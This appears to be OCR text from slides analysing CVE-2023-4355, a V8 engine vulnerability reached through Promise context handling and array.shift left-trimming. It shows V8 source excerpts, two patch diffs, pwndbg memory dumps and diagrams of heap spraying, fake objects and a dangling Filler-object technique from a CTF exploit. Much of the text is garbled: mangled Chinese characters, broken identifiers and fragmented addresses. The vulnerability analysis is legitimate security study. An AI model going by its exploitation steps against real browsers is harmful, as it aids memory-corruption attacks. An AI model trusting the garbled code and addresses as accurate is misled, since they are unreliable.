0x00000251
0x00000251
0x00000251
0x00000251

0x00000251
0x00000251
0x00000251
0x00000251
0x00000251

instance size: 4

elements kind: HOLEY_ELEMENTS

enum length: 1nvalid

stable_map

back pointer: 0x287400000251 <undefined>
prototype_validity cell: 0

instance descriptors (own) #0: 0x28740000
prototype: 0x287400000235 <null>
constructor: 0x287400000235 <null>
dependent code: 0x287400000229 <Other hea
construction counter: 0
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CVE-2023-4355

Proof_Of_Concept static void MoveElements(Isolatek isolate, Handle<JSArray> receiver,
Hand le<FixedArrayBase> backing_store, int dst_index,

int src_index, int len, int hole_start,
int hole_end) {

DisallowGarbageCollection no_gc;
BackingStore dst_elms = BackingStore::cast(xbacking_store);

® E%L\x array.Shlft() %1&” if (len > JSArray::kMaxCopyElements && dst_index == 0 &&

S TR e
* [1] shift array BFRIRFEEAAR/NARK
ZfFES Left-trimming BY#EH]
Tagged<FixedArrayBase> Heap::LeftTrimFixedArray(Tagged<FixedArrayBase> object,

isolate—>heap()—->LeftTrimFixedArray(dst_elms, src_index));
A== = ] A — o .
o [2] BUSZW BRI - tRLZE . it etements_to_trin) f
=50
JSArray E/\J E':ﬁ ll-/E\ Address old_start = object.address();

Address new_start old_start + bytes_to_trim;

° [3] H%Eg%?&ﬂﬂu B/%E/\J element EE} C[;'é;}ceFillerObjectAtRaw(

old_start, bytes_to_trim, ClearFreedMemoryMode: :kClearFreedMemory,

}ﬁ Flller Value MayContainRecordedSlots(object) ? ClearRecordedSlots::kYes

: ClearRecordedSlots: :kNo,

VerifyNoSlotsRecorded: : kYes);
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CVE-2023-4355

Proof-Of-Concept

e Filler 7£ GC B ZWAPEMAERIE

Context BY values pointer A= #E B3 > {BE
& JSArray & #:#2&1%! OldSpace

onstexpr bool IsFreeSpaceOrFiller(InstanceType instance_type) {

return instance_type == FREE_SPACE_TYPE || instance_type == FILLER_TYPE;

std::pair<size_t, size_t> MarkCompactCollector::ProcessMarkingWorklist(
v8::base::TimeDelta max_duration, size_t max_bytes_to_process,
MarkingWorklistProcessingMode mode) {
[oaa]
while (local_marking_worklists_->Pop(&object) ||
local_marking_worklists_->PopOnHo! bject

if (IsFreeSpaceOrFiller(object, cage_base)

[...]

continue;

163

file: /home/ulf383/CVE-2023-4355/v8/src/heap/mark-compact.cc

2148
2149 while (local_marki
2150 local_mark1i
2151

ng_worklists_--Pop(‘object)
ng_worklists_--~PopOnHold(“object)) {

5152 return 1

2153 1f (IsFreeSpaceOrFiller(object, cage_base)) {

2154
2155
2156 DCHECK_IMPLIES
2157
2158

10000 | rsp 0x7ffdfa96c960
eo ¥ 2 skipped

:0018 Ox7ffdfa96c978
10020 Ox7ffdfa96c980

f @ 0Ox7f8de8099a74

f 1 Ox7f8de8099658 Vv8:
f 2
f 3

Ox71f8de8@990dc Vv&:
Ox7f8de8@9bl4e V&:

pwndbg> job 0x16390024d5cl
0x16390024d5cl: [Context]
map: 0x163900151899 <Map(
type: FUNCTION_CONTEXT_TY
scope_info: 0x163900000f6
previous: 0x163900000251
native_context: ©0x1639001
length: 5
elements:
: 0x163900000f61
: 0x163900000251
. 0
: 0x16390024d515
®x1639®®255119

+0010 0x163900255129 02 00

(object--map(cage_base)
ReadOnlyRoots(isolate).one_point
marking_state_-~IsMarked(object));

«— Ox0

—» Ox5601eb626b48 «— Ox400001000
«— Ox2

:internal : :MarkCompactCollector::
:internal: :MarkCompactCollector::
:internal: :MarkCompactCollector::

FUNCTION_CONTEXT_TYPE)>
PE
1 <Scopelnfo>

<undefined>
43c@d <NativeContext[281]>

<Scopelnfo>
<undefined>
<PromiseCapability>

<0ther heap object (FILLER_TYPE):

00 51 02 00 00 51 02 00 00 51 @2 (¢




CVE-2023-4355

Patch

Commit a84849ed718932b94dc877bb44a2d38eb8alaef9

» Promise.{all,allSettled,any} & A =257 &

e 7 values [O{E45{EF &R executor resolve handler Bi] unreference [FEZNH
FixedArray

diff -—git a/src/builtins/promise-all-element-closure.tq b/src/builtins/promise-all-element-closure.tq

index db3fb01 .036e3c7 100644
——— a/src/builtins/promise-all-element-closure.tq

+++ b/src/builtins/promise—-all-elen —-closure.tq

@@ -175,11 +175,22 @@

sNativeContextSlot(
nativeContext, ContextSlot::JS_ARRAY_ PACKED ELEMENTS_MAP_INDEX);

[...]
// After this point, values escapes to user code.
[...]
else {
*ContextSlot(
promiseContext,
PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesSlot) = kEmptyFixedArray;
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https://chromium.googlesource.com/v8/v8/+/a84849ed718932b94dc877bb44a2d38eb8a0aef9

CVE-2023-4355

Patch

Commit 34fff20ecc53bda2b56e18a58fd13ab3ed826120

FH7A IR [ values - (BAIGECEIE Promise.any BY errors

e errors & H1% dereference 2K » IRTECNAY A reference B9 A TVIR{E

diff —--git a/src/builtins/promise-any.tq b/src/builtins/promise-any.tq
index b9d9b2b..8b21lebf 100644
——— a/src/builtins/promise-any.tq
+++ b/src/builtins/promise-any.tq
[...]
@@ -154,6 +152,10 @@

// b. Set error.[[AggregateErrors]] to errors.
const error = ConstructAggregateError(errors);

// After this point, errors escapes to user code. Clear the slot.
xerrorsRef = kEmptyFixedArray;

// c. Return ? Call(promiseCapability.[[Reject]], undefined, « error »).
const capability = *ContextSlot
context,
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https://chromium.googlesource.com/v8/v8/+/34fff20ecc53bda2b56e18a58fd13ab3ed826120%5E!/#F0

CVE-2023-4355

Exploit

» 2023 OCTF B9 Pwn F& Promise E#75| A5% CVE
» FAMFEARZY » FIAEEZZE @qgallileo B exploit
» ftlRY exploit f&5Zi= P ABMERS » {BE—1tx2 = AFE A
o« FEDAMIEPKE -
. W{al3%EB spray TE5E—R gc R E 15 Filler
2. BT gc IUEAMHERE
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https://discord.com/channels/758678518518906931/1183589263980371989/1183611981270368277

Context

Elements

0x502128

0x702128

0x882128

fakeobj * 2

FixedArray[0x20000]

FixedArray[0x20000]

fakeobj .

FixedDoubleArray
[0x20000]

167

0x502130

.. 0x502158

0x502177
0x502178

0x74225¢

{&iE exploit IB1E

0x502159

0x74225d

. 0x502178



i##Z1 executor resolve

FixedArray[102]

Context

Elements

DR 0x502159

FixedArray[0x20000]

0x502128

. 0x502158
0x702128 \

0x74225d

FixedArray[0x20000]
0%x502177
fakeobj .. 0x502178

0x882128
FixedDoubleArray Gx74995¢0

[0x20000] . 0x502178
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Context

array.shift

Elements

0x502128

0x702128

0x882128

FixedArray[101]

fakeobj * 2

FixedArray[0x20000]

FixedArray[0x20000]

fakeobj .

FixedDoubleArray
[0x20000]
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0x502130

.. 0x502158

0x502177
0x502178

0x74225¢

0x502159

0x74225d

. 0x502178



Context

Elements

0x502128

0x702128

0x882128

fakeobj * 2

FixedArray[0x20000]

FixedArray[0x20000]

fakeobj .

FixedDoubleArray
[0x20000]
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0x502130

.. 0x502158

0x502177
0x502178

0x74225¢

0x502159

0x74225d

. 0x502178



Context

spraying

Elements

0x502128

0x702128

0x882128

fakeobj * 2

FixedArray[0x20000]

FixedArray[0x20000]

fakeobj .

FixedDoubleArray
[0x20000]
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0x502130

.. 0x502158

0x502177
0x502178

0x74225¢

0x502159

0x74225d

. 0x502178



Context

Elements

[FZSH) dangling pointer IRTE$5
[0] ST RIS 4FHY object chain

NG APL I | [r— T L L
502130 0x502159
FixedArray[0x20000]{ |-.

.. 0x502158 e
0x702128 ‘

" FixedArray[0x20000] 0x74

0x502177
o 0502178
0x882128

FixedDoubleArray
[0x20000]
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VB_INLINE constexpr bool IsFreeSpaceOrFiller(InstanceType instance_type) {
return instance_type == FREE_SPACE_TYPE || instance_type == FILLER_TYPE;

¥ Oxfa

pwndbg> [K/10gx 0x092300502120 - 1 + OX3

0x92300502130:

0x92300502140:
0x92300502150:
0x92300502160:
0x923005021/70:

pwndbg> k/10gx 0x092300502129 - 1 + Ox8

0x92300502158
0x92300502168
0x92300502178
0x92300502188
0x92300502198

0x2525252500502159
0x6161616661616165
0x6161616061616169
Oxtb257f7t 71717100
Oxfb257f7f7f7f7100

0x2525252500742250
Oxfb257F7f7f7f 700
Oxfb257F7f7£7f 700
OXFFF7FFFFFFf7FFff
OXFFF7FFFFFFF7FFFf

pwndbg> X/10gx 0x09230074225d-1

0x92300/4225c¢:

0x9230074226cC:
0x9230074227c:
0x9230074228¢:
0x9230074229c:
pwndbg> job 0x09230074225d
free space, size 314556351

Ox257f717e00502178
0x000006c10000006c1
0x000006c1000006c1
0x000006c10000006c1
0x000006c1000006c1

0x6161616461616163
¥x6161616861616167
Ox252525250074225d
Oxfb257f7f7t71t7f00
Oxfb257f7f71t71t7f00
+ Ox28

Oxfb257f7f7t7f7f00
Oxfb257f7f7t71t7f00
Oxfb257f7f71t7f7f00
Oxfff7fffffff7ffff
Oxfff7fffffff7ffff

0x00000ocl/f7f7f7e
0x000006c10000006c1
0x000006c1000006C1
0x000006c1000006c1
0x000006c1000006C1
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OxXXXX00fb

0x74225¢
0x502178



)
[
IE]

3

IE]

MarkingBitmap* MarkingBitmap:|: FromAddress(Address address) {
Address page_address = address & ~kPageAlignmentMask;
return Cast(page_address + MemoryChunkLayout::kMarkingBitmapOffset);

bool TryMark(HeapObject 6bj) {

return [MarkBit::From(obj)|Set<AccessMode: :ATOMIC>();
Z BZ7 bitmap Y address

void MarkingVisitorBase<ConcreteVisitor>::MarkObject(HeapObject host,
HeapObject object
DCHECK(ReadOnlyHeap: :Contains(object) || heap_—>Contains(object));
SynchronlzePageAccess(obJect),
concrete_visitor()->AddStrongReferenceForReferenceSummarizer(host, object);
if (concrete_visitor()—TryMark(object)) [
local_marking_worklists_->rusn(object);

void MarkingVisitorBase<ConcreteVisitor>::ProcessStrongHeapObject
HeapObject host, THeapObjectSlot slot, HeapObject heap_object
SynchronizePageAccess(heap_object);
if (!ShouldMarkObiject(heap object)) return;
MarkObject(host, heap_object);
concrete_visitor()—>RecordSlot(host, slot, heap_object);

::internal: :MarkCompactCollector: :ProcessMarkingWorklist(v8: :base: : TimeDe
::internal: :MarkCompactCollector: :ProcessEphemerons() ()

::internal: :MarkCompactCollector: :MarkTransitiveClosureUntilFixpoint() (O
::internal: :MarkCompactCollector: :MarkLiveObjects() ()

: :internal: :MarkCompactCollector: :CollectGarbage() (O

::internal: :Heap: :MarkCompact() (O
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0x502130

0x502158

0x502178

Ox

N2 Filler instance

Ox74225d

Filler Map 0XXXXX00fb
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Filler Object 0x502178
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0x502130

0x502158

0x502178

0
0

0

Filler Object 0x502178
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0x502130
0x5021359

0x502158

Ox74225d

0x502178

OXXXXX00fb

Sl EEMM

Filler Map

0
0

offset = (0x74225d >> 8) & Ox3ff

Filler Object 0x502178

0
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0x502130

0x502159

Nv7ADDRA

a0 {o] & FU A 2

B =B
OX740000 f======mmmcccccccccmmmeannnann-
OX740128 [P === == e cccccccc e eemn- :
i |

e e e m e ccccmcre = oo offset = (0x74225d >> 8) & Ox3ff

Filler Object 0x502178

0x502158

/I—I Vel

O0x|74225¢c
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0x502130
0x5021359
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0
0

0
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0x502178

0
0

0
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0
0
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0
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